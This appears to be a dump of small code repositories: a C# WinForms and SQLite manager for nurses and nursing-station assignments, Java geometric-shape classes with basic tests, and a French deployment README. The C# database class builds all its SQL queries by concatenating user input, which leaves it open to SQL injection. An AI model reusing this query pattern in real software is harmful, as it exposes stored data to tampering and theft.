drGroup["i"] = data.Image;
dtbGroup.Rows.Add(drGroup);
drGroup = null;
}
dgvAssigned.DataSource = dtbGroup.DefaultView;
dgvAssigned.Columns[0].Width = 100;
dgvAssigned.Columns[1].Width = 100;
dgvAssigned.Columns[2].Width = 5;
dgvAssigned.Sort(dgvAssigned.Columns[0], ListSortDirection.Ascending);
}
private void dgvSite_SelectionChanged(object sender, EventArgs e)
{
if (dgvSite.SelectedRows.Count > 0)
{
txtSiteID.Text = dgvSite.SelectedRows[0].Cells[0].Value.ToString();
txtSiteName.Text = dgvSite.SelectedRows[0].Cells[1].Value.ToString();
txtSiteMemo.Text = dgvSite.SelectedRows[0].Cells[2].Value.ToString();
refreshScheduleList();
}
}
/// <summary>
/// 新增站點
/// </summary>
private void btnAdd_Click(object sender, EventArgs e)
{
frmSiteUpdate frmUpdate = new frmSiteUpdate();
frmUpdate.SMForm = this;
frmUpdate.ShowDialog();
refreshSiteList("","");
}
/// <summary>
/// 更新站點
/// </summary>
private void btnUpdate_Click(object sender, EventArgs e)
{
if (dgvSite.SelectedRows.Count <= 0)
{
MessageBox.Show("請選擇欲修改的項目.");
return;
}
clsSite data = new clsSite();
data.ID = txtSiteID.Text;
data.Name = txtSiteName.Text;
data.Memo = txtSiteMemo.Text;
frmSiteUpdate frmUpdate = new frmSiteUpdate();
frmUpdate.SMForm = this;
frmUpdate.EditData = data;
frmUpdate.ShowDialog();
refreshSiteList("","");
}
/// <summary>
/// 刪除站點
/// </summary>
private void btnDelete_Click(object sender, EventArgs e)
{
if (dgvSite.SelectedRows.Count <= 0)
{
MessageBox.Show("請選擇欲刪除的項目.");
return;
}
string msg = "ID:" + txtSiteID.Text +"\r\n"+
"Name:" + txtSiteName.Text + "\r\n"+
"是否確認刪除?";
if (MessageBox.Show(msg, "請確認", MessageBoxButtons.YesNo) == DialogResult.No)
return;
Application.DoEvents();
clsSite data = new clsSite();
data.ID = txtSiteID.Text;
if (sqlFunction.deleteSchedule(data) == -1)
MessageBox.Show("刪除分派資料時發生錯誤");
if (sqlFunction.deleteSite(txtSiteID.Text) == -1)
MessageBox.Show("刪除護理站資料時發生錯誤");
refreshSiteList("","");
}
private void frmSitesManage_FormClosing(object sender, FormClosingEventArgs e)
{
sqlFunction.close();
}
private void dgvAssigned_SelectionChanged(object sender, EventArgs e)
{
if (dgvAssigned.SelectedRows.Count > 0)
{
picNurse.Image = null;
txtNurseID.Text = dgvAssigned.SelectedRows[0].Cells[0].Value.ToString();
txtNurseName.Text = dgvAssigned.SelectedRows[0].Cells[1].Value.ToString();
if (File.Exists(imagePath + dgvAssigned.SelectedRows[0].Cells[2].Value.ToString()))
picNurse.Load(imagePath + dgvAssigned.SelectedRows[0].Cells[2].Value.ToString());
else if (File.Exists(Application.StartupPath + "\\NoImage.jpg"))
picNurse.Load(Application.StartupPath + "\\NoImage.jpg");
}
}
private void cmbSite_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = true;
}
private void btnShowAllSite_Click(object sender, EventArgs e)
{
txtSiteSearch.Text = "";
refreshSiteList("", "");
}
private void btnSiteSearch_Click(object sender, EventArgs e)
{
String searchBy = "id";
if (cmbSite.SelectedIndex == 1)
searchBy = "name";
refreshSiteList(searchBy, txtSiteSearch.Text);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace Sites.Nurses.Manage_windows
{
public partial class frmNurseUpdate : Form
{
private string imagePath = Application.StartupPath + "\\image\\";
private frmNurseManage nmform = null;
public frmNurseManage NMForm
{
get { return nmform; }
set { nmform = value; }
}
private clsNurse editData = new clsNurse();
public clsNurse EditData
{
get { return editData; }
set { editData = value; }
}
private Boolean bEdit = false;
public frmNurseUpdate()
{
InitializeComponent();
}
private void frmNurseUpdate_Load(object sender, EventArgs e)
{
CenterToParent();
if (editData.ID == null)
return;
bEdit = true;
txtNurseID.ReadOnly = true;
txtNurseID.Text = editData.ID;
txtNurseName.Text = editData.Name;
if (File.Exists(imagePath + editData.Image))
picNurse.Load(imagePath + editData.Image);
}
private void btnConfirm_Click(object sender, EventArgs e)
{
if (MessageBox.Show("是否確認新增/修改?\r\n" + "※編號一旦新增即無法修改.", "請確認", MessageBoxButtons.YesNo) == DialogResult.No)
return;
if (checkFormat() == -1)
return;
clsNurse data = new clsNurse();
editData.ID = txtNurseID.Text;
editData.Name = txtNurseName.Text;
if (editData.Image == null)
editData.Image = "";
if (bEdit)
{
if (nmform.updateNurse(editData) == 0)
{
Close();
}
}
else
{
if (nmform.addNurse(editData) == 0)
{
Close();
}
}
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.Close();
}
private int checkFormat()
{
if (txtNurseID.Text.Length > 10 || txtNurseName.Text.Length > 10)
{
string msg = "格式有誤,請重新確認.\r\n" + "ID最長為10個字元\r\n" + "名稱最長為10個字元\r\n";
MessageBox.Show(msg);
return -1;
}
if (txtNurseID.Text == "" || txtNurseName.Text == "")
{
string msg = "格式有誤,請重新確認.\r\n" + "ID與名稱皆不可空白";
MessageBox.Show(msg);
return -1;
}
return 0;
}
private void btnImage_Click(object sender, EventArgs e)
{
try
{
picNurse.Image = null;
Application.DoEvents();
OpenFileDialog ofd = new System.Windows.Forms.OpenFileDialog();
ofd.FileName = "選擇圖片";
ofd.Filter = "圖片檔|*.jpg;*.png;*.bmp;*.jpeg";
if (ofd.ShowDialog() == DialogResult.Cancel)
return;
if (bEdit)
{
string previousPath = editData.Image;
string tmpFileName = DateTime.Now.Ticks.ToString();
File.Copy(ofd.FileName, imagePath + tmpFileName + Path.GetExtension(ofd.FileName));
editData.Image = tmpFileName + Path.GetExtension(ofd.FileName);
picNurse.Load(imagePath + editData.Image);
//if (File.Exists(imagePath + previousPath))
//File.Delete(imagePath + previousPath);
}
else
{
string tmpFileName = DateTime.Now.Ticks.ToString();
File.Copy(ofd.FileName, imagePath + tmpFileName + Path.GetExtension(ofd.FileName));
editData.Image = tmpFileName + Path.GetExtension(ofd.FileName);
picNurse.Load(imagePath + editData.Image);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void txtNurseID_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = true;
if (((e.KeyChar >= '0' && e.KeyChar <= '9') || (e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z')) ||
(e.KeyChar == (char)Keys.Back) || (e.KeyChar == (char)Keys.Delete) || (e.KeyChar == '-'))
e.Handled = false;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Sites.Nurses.Manage_windows
{
public partial class frmSiteUpdate : Form
{
private frmSitesManage smform = null;
public frmSitesManage SMForm
{
get { return smform; }
set { smform = value; }
}
private clsSite editData = new clsSite();
public clsSite EditData
{
get { return editData; }
set { editData = value; }
}
private Boolean bEdit = false;
public frmSiteUpdate()
{
InitializeComponent();
}
private void frmSiteUpdate_Load(object sender, EventArgs e)
{
CenterToParent();
if (editData.ID == null)
return;
bEdit = true;
txtSiteID.ReadOnly = true;
txtSiteID.Text = editData.ID;
txtSiteName.Text = editData.Name;
txtSiteMemo.Text = editData.Memo;
}
private void btnConfirm_Click(object sender, EventArgs e)
{
if (MessageBox.Show("是否確認新增/修改?\r\n" + "※編號一旦新增即無法修改.", "請確認", MessageBoxButtons.YesNo) == DialogResult.No)
return;
if (checkFormat() == -1)
return;
clsSite data = new clsSite();
data.ID = txtSiteID.Text;
data.Name = txtSiteName.Text;
data.Memo = txtSiteMemo.Text;
if (bEdit)
{
if (smform.updateSite(data) == 0)
{
Close();
}
}
else
{
if (smform.addSite(data) == 0)
{
Close();
}
}
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.Close();
}
private int checkFormat()
{
if (txtSiteID.Text.Length > 10 || txtSiteName.Text.Length > 10)
{
string msg = "格式有誤,請重新確認.\r\n" + "ID最長為10個字元\r\n" + "名稱最長為10個字元\r\n";
MessageBox.Show(msg);
return -1;
}
if (txtSiteID.Text=="" || txtSiteName.Text=="")
{
string msg = "格式有誤,請重新確認.\r\n" + "ID與名稱皆不可空白";
MessageBox.Show(msg);
return -1;
}
return 0;
}
private void txtSiteID_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = true;
if (((e.KeyChar >= '0' && e.KeyChar <= '9') || (e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z')) ||
(e.KeyChar == (char)Keys.Back) || (e.KeyChar == (char)Keys.Delete) || (e.KeyChar == '-'))
e.Handled = false;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace Sites.Nurses.Manage_windows
{
public partial class frmExport : Form
{
private string filePath = Application.StartupPath + "\\export\\";
private clsSQLFunction sqlFunction = new clsSQLFunction();
private List<clsNurse> lsNurse = new List<clsNurse>();
private List<clsSite> lsSite = new List<clsSite>();
private List<clsSchedule> lsSchedule = new List<clsSchedule>();
public frmExport()
{
InitializeComponent();
}
private void frmExport_Load(object sender, EventArgs e)
{
CenterToParent();
if (!Directory.Exists(filePath))
Directory.CreateDirectory(filePath);
sqlFunction.open();
if (sqlFunction.searchNurse("", "", out lsNurse) == -1)
MessageBox.Show("取得護士列表時發生錯誤");
if (sqlFunction.searchSite("", "", out lsSite) == -1)
MessageBox.Show("取得醫護站列表時發生錯誤");
}
private void btnExportBySite_Click(object sender, EventArgs e)
{
if (lsSite.Count <= 0)
{
MessageBox.Show("目前無站點資料");
return;
}
string fileName = filePath + DateTime.Now.Ticks + ".csv";
if (File.Exists(fileName))
File.Delete(fileName);
FileStream fs = new FileStream(fileName, FileMode.OpenOrCreate);
StreamWriter sw = new StreamWriter(fs, System.Text.Encoding.UTF8);
try
{
foreach (clsSite siteData in lsSite)
{
sw.WriteLine("醫護站編號,醫護站名稱");
sw.WriteLine(siteData.ID + "," + siteData.Name);
sw.WriteLine("備註," + siteData.Memo.Replace("\r\n","."));
lsSchedule.Clear();
if (sqlFunction.getSscheduleListBySite(siteData.ID, out lsSchedule) == -1)
{
MessageBox.Show(siteData.ID + "," + siteData.Name + "\r\n分派資料錯誤");
break;
}
string strIDs = "護士編號,";
string strNames = "護士姓名,";
string strImages = "照片名稱,";
foreach (clsSchedule schData in lsSchedule)
{
Application.DoEvents();
foreach (clsNurse nurseData in lsNurse)
{
if (schData.NurseID == nurseData.ID)
{
strIDs += nurseData.ID+",";
strNames += nurseData.Name + ",";
strImages += nurseData.Image + ",";
break;
}
}
}
sw.WriteLine(strIDs);
sw.WriteLine(strNames);
sw.WriteLine(strImages);
sw.WriteLine("");
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
finally
{
sw.Close();
fs.Close();
}
if (MessageBox.Show("檔案已新增,是否直接開啟?\r\n" + fileName, "請確認", MessageBoxButtons.YesNo) == System.Windows.Forms.DialogResult.Yes)
System.Diagnostics.Process.Start(fileName);
}
private void btnExportByNurse_Click(object sender, EventArgs e)
{
if (lsNurse.Count <= 0)
{
MessageBox.Show("目前無護士資料");
return;
}
string fileName = filePath + DateTime.Now.Ticks + ".csv";
if (File.Exists(fileName))
File.Delete(fileName);
FileStream fs = new FileStream(fileName, FileMode.OpenOrCreate);
StreamWriter sw = new StreamWriter(fs, System.Text.Encoding.UTF8);
try
{
foreach (clsNurse nurseData in lsNurse)
{
sw.WriteLine("護士編號,護士姓名,照片名稱" );
sw.WriteLine(nurseData.ID + "," + nurseData.Name + "," + nurseData.Image);
lsSchedule.Clear();
if (sqlFunction.getSscheduleListByNurse(nurseData.ID, out lsSchedule) == -1)
{
MessageBox.Show(nurseData.ID + "," + nurseData.Name + "\r\n分派資料錯誤");
break;
}
string strIDs = "醫護站編號,";
string strNames = "醫護站名稱,";
string strMemo = "備註,";
foreach (clsSchedule schData in lsSchedule)
{
Application.DoEvents();
foreach (clsSite siteData in lsSite)
{
if (schData.SiteID == siteData.ID)
{
strIDs += siteData.ID + ",";
strNames += siteData.Name + ",";
strMemo += siteData.Memo.Replace("\r\n", ".") + ",";
break;
}
}
}
sw.WriteLine(strIDs);
sw.WriteLine(strNames);
sw.WriteLine(strMemo);
sw.WriteLine("");
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
finally
{
sw.Close();
fs.Close();
}
if (MessageBox.Show("檔案已新增,是否直接開啟?\r\n" + fileName, "請確認", MessageBoxButtons.YesNo) == System.Windows.Forms.DialogResult.Yes)
System.Diagnostics.Process.Start(fileName);
}
private void frmExport_FormClosing(object sender, FormClosingEventArgs e)
{
sqlFunction.close();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
using System.Data.SQLite;
namespace Sites.Nurses.Manage_windows
{
/// <summary>
/// 站點資料
/// </summary>
/// <param name="ID">ID</param>
/// <param name="Name">名稱</param>
/// <param name="Memo">備註</param>
public class clsSite
{
private string strID;
private string strName;
private string strMemo;
/// <summary>
/// 編號
/// </summary>
public String ID
{
get { return strID; } // Getter
set { strID = value; } // Setter
}
/// <summary>
/// 名稱
/// </summary>
public String Name
{
get { return strName; } // Getter
set { strName = value; } // Setter
}
/// <summary>
/// 備註
/// </summary>
public String Memo
{
get { return strMemo; } // Getter
set { strMemo = value; } // Setter
}
}
/// <summary>
/// 護士資料
/// </summary>
/// <param name="ID">ID</param>
/// <param name="Name">名稱</param>
/// <param name="Image">照片檔名</param>
public class clsNurse
{
private string strID;
private string strName;
private string strImage;
/// <summary>
/// 編號
/// </summary>
public String ID
{
get { return strID; } // Getter
set { strID = value; } // Setter
}
/// <summary>
/// 姓名
/// </summary>
public String Name
{
get { return strName; } // Getter
set { strName = value; } // Setter
}
/// <summary>
/// 照片路徑
/// </summary>
public String Image
{
get { return strImage; } // Getter
set { strImage = value; } // Setter
}
}
/// <summary>
/// 分派資料
/// </summary>
/// <param name="NurseID">護士編號</param>
/// <param name="SiteID">護理站編號</param>
public class clsSchedule
{
private string strNurseID;
private string strSiteID;
/// <summary>
/// 護士編號
/// </summary>
public String NurseID
{
get { return strNurseID; } // Getter
set { strNurseID = value; } // Setter
}
/// <summary>
/// 護理站編號
/// </summary>
public String SiteID
{
get { return strSiteID; } // Getter
set { strSiteID = value; } // Setter
}
}
/// <summary>
/// SQL功能
/// </summary>
public class clsSQLFunction
{
SQLiteConnection sqlite_conn = new SQLiteConnection("Data source=sites.nurse.schedule.s3db");
/// <summary>
/// 開啟資料庫
/// </summary>
public int open()
{
try
{
sqlite_conn.Open();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 關閉資料庫
/// </summary>
public int close()
{
try
{
sqlite_conn.Close();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 新增一筆護士資料
/// </summary>
/// <param name="data">護士資料</param>
public int addNurse(clsNurse data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "INSERT INTO nurse VALUES ('" + data.ID + "','" + data.Name + "','" + data.Image + "');";
sqlite_cmd.ExecuteNonQuery();//using behind every write cmd
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 更新一筆護士資料
/// </summary>
/// <param name="data">護士資料</param>
public int updateNurse(clsNurse data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "UPDATE nurse SET name='" + data.Name + "', path='" + data.Image + "' WHERE id='" + data.ID + "';";
sqlite_cmd.ExecuteNonQuery();//using behind every write cmd
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 刪除一筆護士資料
/// </summary>
/// <param name="id">護士ID</param>
public int deleteNurse(String id)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "DELETE FROM nurse WHERE id='" + id + "';";
sqlite_cmd.ExecuteNonQuery();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 新增一筆護理站資料
/// </summary>
/// <param name="data">護理站資料</param>
public int addSite(clsSite data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "INSERT INTO site VALUES ('"+data.ID+"','"+data.Name+"','"+data.Memo+"');";
sqlite_cmd.ExecuteNonQuery();//using behind every write cmd
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 更新一筆護理站資料
/// </summary>
/// <param name="data">護理站資料</param>
public int updateSite(clsSite data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "UPDATE site SET name='" + data.Name + "', memo='" + data.Memo + "' WHERE id='" + data.ID + "';";
sqlite_cmd.ExecuteNonQuery();//using behind every write cmd
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 刪除一筆護理站資料
/// </summary>
/// <param name="id">護理站ID</param>
public int deleteSite(String id)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "DELETE FROM site WHERE id='" + id + "';";
sqlite_cmd.ExecuteNonQuery();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 新增一筆分派資料
/// </summary>
/// <param name="data">分派資料</param>
public int addSchedule(clsSchedule data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "INSERT INTO schedule VALUES ('" + data.NurseID + "','" + data.SiteID + "');";
sqlite_cmd.ExecuteNonQuery();//using behind every write cmd
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 刪除一筆分派資料
/// </summary>
/// <param name="data">分派資料</param>
public virtual int deleteSchedule(clsSchedule data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "DELETE FROM schedule WHERE nurse_id='" + data.NurseID + "' AND site_id='" + data.SiteID + "';";
sqlite_cmd.ExecuteNonQuery();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 刪除所有此站點的分派資料
/// </summary>
/// <param name="data">站點資料</param>
public virtual int deleteSchedule(clsSite data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "DELETE FROM schedule WHERE site_id='" + data.ID + "';";
sqlite_cmd.ExecuteNonQuery();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
/// 刪除所有此護士的分派資料
/// </summary>
/// <param name="data">護士資料</param>
public virtual int deleteSchedule(clsNurse data)
{
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd = sqlite_conn.CreateCommand();//create command
sqlite_cmd.CommandText = "DELETE FROM schedule WHERE nurse_id='" + data.ID + "';";
sqlite_cmd.ExecuteNonQuery();
return 0;
}
catch
{
return -1;
}
}
/// <summary>
///依護士編號取得分派列表
/// </summary>
/// <param name="nurseID">nurseID</param>
/// <param name="listSchedule">listSchedule</param>
public int getSscheduleListByNurse(string nurseID,out List<clsSchedule> listSchedule)
{
List<clsSchedule> ls = new List<clsSchedule>();
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd.CommandText = "SELECT * FROM schedule WHERE nurse_id='" + nurseID + "' ORDER BY nurse_id, site_id ASC;";
SQLiteDataReader sqlite_datareader = sqlite_cmd.ExecuteReader();
while (sqlite_datareader.Read()) //read data
{
clsSchedule tmpSchedule = new clsSchedule();
tmpSchedule.NurseID = sqlite_datareader["nurse_id"].ToString();
tmpSchedule.SiteID = sqlite_datareader["site_id"].ToString();
ls.Add(tmpSchedule);
}
listSchedule = ls;
return 0;
}
catch
{
ls.Clear();
listSchedule = ls;
return -1;
}
}
/// <summary>
///依護理站編號取得分派列表
/// </summary>
/// <param name="siteID">siteID</param>
/// <param name="listSchedule">listSchedule</param>
public int getSscheduleListBySite(string siteID, out List<clsSchedule> listSchedule)
{
List<clsSchedule> ls = new List<clsSchedule>();
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
sqlite_cmd.CommandText = "SELECT * FROM schedule WHERE site_id='" + siteID + "' ORDER BY site_id, nurse_id ASC;";
SQLiteDataReader sqlite_datareader = sqlite_cmd.ExecuteReader();
while (sqlite_datareader.Read()) //read data
{
clsSchedule tmpSchedule = new clsSchedule();
tmpSchedule.NurseID = sqlite_datareader["nurse_id"].ToString();
tmpSchedule.SiteID = sqlite_datareader["site_id"].ToString();
ls.Add(tmpSchedule);
}
listSchedule = ls;
return 0;
}
catch
{
ls.Clear();
listSchedule = ls;
return -1;
}
}
/// <summary>
///搜尋特定護理站
/// </summary>
/// <param name="column">column</param>
/// <param name="searchString">searchString</param>
/// <param name="listSite">listSite</param>
public int searchSite(String column,String searchString, out List<clsSite> listSite)
{
List<clsSite> ls = new List<clsSite>();
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
if (column == "" || searchString == "")
sqlite_cmd.CommandText = "SELECT * FROM site ORDER BY id ASC;";
else
sqlite_cmd.CommandText = "SELECT * FROM site WHERE " + column + " LIKE '%" + searchString + "%' ORDER BY id ASC;";
SQLiteDataReader sqlite_datareader = sqlite_cmd.ExecuteReader();
while (sqlite_datareader.Read()) //read data
{
clsSite tmpSite = new clsSite();
tmpSite.ID = sqlite_datareader["id"].ToString();
tmpSite.Name = sqlite_datareader["name"].ToString();
tmpSite.Memo = sqlite_datareader["memo"].ToString();
ls.Add(tmpSite);
}
listSite = ls;
return 0;
}
catch
{
ls.Clear();
listSite = ls;
return -1;
}
}
/// <summary>
///搜尋特定護士
/// </summary>
/// <param name="column">column</param>
/// <param name="searchString">searchString</param>
/// <param name="listSite">listSite</param>
public int searchNurse(String column, String searchString, out List<clsNurse> listNurse)
{
List<clsNurse> ls = new List<clsNurse>();
try
{
SQLiteCommand sqlite_cmd = sqlite_conn.CreateCommand();
if (column == "" || searchString == "")
sqlite_cmd.CommandText = "SELECT * FROM nurse ORDER BY id ASC;";
else
sqlite_cmd.CommandText = "SELECT * FROM nurse WHERE " + column + " LIKE '%" + searchString + "%' ORDER BY id ASC;";
SQLiteDataReader sqlite_datareader = sqlite_cmd.ExecuteReader();
while (sqlite_datareader.Read()) //read data
{
clsNurse tmpNurse = new clsNurse();
tmpNurse.ID = sqlite_datareader["id"].ToString();
tmpNurse.Name = sqlite_datareader["name"].ToString();
tmpNurse.Image = sqlite_datareader["path"].ToString();
ls.Add(tmpNurse);
}
listNurse = ls;
return 0;
}
catch
{
ls.Clear();
listNurse = ls;
return -1;
}
}
}
}
| 110b1f1ee4407fa223095c0fc2de99c5cee55260 | [
"C#"
] | 7 | C# | jasonhsieh1984/sites.nurse.manager | d785f90ffdc687ea090c51fc3fce5979403323d0 | 3bc182b43a84d2a5bec14c80fa791f79293b9ae2 |
refs/heads/master | <file_sep>package UnitTests;
import shapes.Circle;
public class CircleTest {
public static void main(String[] args) {
double r = 5;
Circle cir = new Circle(r);
System.out.println(r);
TestPerimeter(cir);
TestArea(cir);
}
public static void TestPerimeter(Circle cir) {
System.out.println(cir.perimeter());
}
public static void TestArea(Circle cir) {
System.out.println(cir.area());
}
}
<file_sep>package shapes;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
public class Square extends GeometricPrimitive implements Serializable{
private double a;
public Square(double a) {
this.a= a;
}
@Override
public double perimeter() {
return 4*a ;
}
@Override
public double area() {
return a*a;
}
@Override
public void serialize(ObjectOutputStream output){
String result=(" Square " + "Side: " + a +"\n");
try {
output.writeUTF(result);
} catch (IOException e) {
e.printStackTrace();
}
}
public double getSide() {
return a;
}
}
<file_sep>package shapes;
import java.io.EOFException;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
public class Read extends GeometricPrimitive {
public static void main(String[] agrs) throws IOException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data.txt"));
deserialize(in);
}
//ok im trying to hide my terrible approach to the problem, im sorry
@Override
public double perimeter() {
return 0;
}
@Override
public double area() {
return 0;
}
@Override
public void serialize(ObjectOutputStream output) {
}
}
<file_sep>package UnitTests;
import shapes.Square;
public class SquareTest {
public static void main(String[] args) {
double a = 5;
Square sqr = new Square(a);
System.out.println(a);
TestPerimeter(sqr);
TestArea(sqr);
}
public static void TestPerimeter(Square sqr) {
System.out.println(sqr.perimeter());
}
public static void TestArea(Square sqr) {
System.out.println(sqr.area());
}
}
<file_sep>package UnitTests;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import shapes.GeometricPrimitive;
public class DeserializeTest extends GeometricPrimitive {
public static void main(String[] agrs) throws IOException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("TestingFile.txt"));
deserialize(in);
}
// ok im trying to hide my terrible approach to the problem, im sorry
@Override
public double perimeter() {
return 0;
}
@Override
public double area() {
return 0;
}
@Override
public void serialize(ObjectOutputStream output) {
}
}
<file_sep>package shapes;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
public class Trapezium extends GeometricPrimitive implements Serializable{
//isosceles for simplicity
private double a,b,h;
public Trapezium(double a, double b, double h) {
this.a=a;
this.b=b;
this.h=h;
}
@Override
public double perimeter() {
// c^2= h^2+((b-a)/2)^2
return a+b+2*Math.sqrt(Math.pow(h, 2) + Math.pow((b-a)/2, 2));
}
@Override
public double area() {
return (a+b)*h/2;
}
@Override
public void serialize(ObjectOutputStream output){
String result=(" Trapezium " + "Bottom: " + a + " Top: " + b + " Height: " + a +"\n");
try {
output.writeUTF(result);
} catch (IOException e) {
e.printStackTrace();
}
}
public double getBase() {
return a;
}
public double getTop() {
return b;
}
public double getHeight(){
return h;
}
}
<file_sep>package shapes;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Diamond extends GeometricPrimitive {
private double x,a;
public Diamond(double x, double a) {
this.x= x;
this.a=a;
}
@Override
public double perimeter() {
return 4*x;
}
@Override
public double area() {
return x*x*Math.sin(Math.toRadians(a));
}
@Override
public void serialize(ObjectOutputStream output){
String result=(" Diamond " + "Side: " + x + " Angle: " + a +"\n");
try {
output.writeObject(result);
} catch (IOException e) {
e.printStackTrace();
}
}
public double getSide() {
return x;
}
public double getAngle() {
return a;
}
}
<file_sep>package shapes;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Scanner;
abstract public class GeometricPrimitive {
public abstract double perimeter();
public abstract double area();
public abstract void serialize(ObjectOutputStream output);
public static void deserialize(ObjectInputStream input) {
String shape = "";
Scanner scanner = null;
ArrayList<GeometricPrimitive> objList = new ArrayList<>();
try {
scanner = new Scanner(new File("data.txt"));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
while(scanner.hasNextLine()) {
String[] str = scanner.nextLine().split(" ");
shape= str[1];
// for(int i =0; i < str.length; i++) {
// System.out.print("test");
// }
// System.out.println();
if (shape.equalsIgnoreCase("Circle")) {
Circle newCir = new Circle(Double.parseDouble(str[3]));
objList.add(newCir);
}
if (shape.equalsIgnoreCase("Triangle")) {
Triangle newTrian = new Triangle(Double.parseDouble(str[3]),Double.parseDouble(str[5]),Double.parseDouble(str[7]));
objList.add(newTrian);
}
if (shape.equalsIgnoreCase("Square")) {
Square newSquare = new Square(Double.parseDouble(str[3]));
objList.add(newSquare);
}
if (shape.equalsIgnoreCase("Rectangle")) {
Rectangle newRec = new Rectangle(Double.parseDouble(str[3]),Double.parseDouble(str[5]));
objList.add(newRec);
}
if (shape.equalsIgnoreCase("Parallelogram")) {
Parallelogram newPar = new Parallelogram(Double.parseDouble(str[3]),Double.parseDouble(str[5]),Double.parseDouble(str[7]));
objList.add(newPar);
}
if (shape.equalsIgnoreCase("Trapezium")) {
Trapezium newTrap = new Trapezium(Double.parseDouble(str[3]),Double.parseDouble(str[5]),Double.parseDouble(str[7]));
objList.add(newTrap);
}
if (shape.equalsIgnoreCase("Diamond")) {
Diamond newDiam = new Diamond(Double.parseDouble(str[3]),Double.parseDouble(str[5]));
objList.add(newDiam);
}
}
for (GeometricPrimitive temp : objList) {
System.out.println(temp); //just to check
}
};
}
| cd801469b7f5f91fb6f3071471034d5e682fac1e | [
"Java"
] | 8 | Java | mintas123/Java_IOStream | 4255eb885197ba3851c02f6a89f6dc560051f80b | 3e1b712e4d6f2f2de3b03c6f73d7bb8487c5bb51 |
refs/heads/main | <file_sep>Le but de ce projet est de mettre en place une infrastructure pour déployer des applications python. Pour cela nous avons choisi une solution hybride, le build de l’application sera On Premise et le déploiement se déroulera dans le Cloud. Cette solution nous permet de gérer la confidentialité des données et limiter les coûts liés à l’infrastructure déjà disponible tout en gardant une haute praticité.
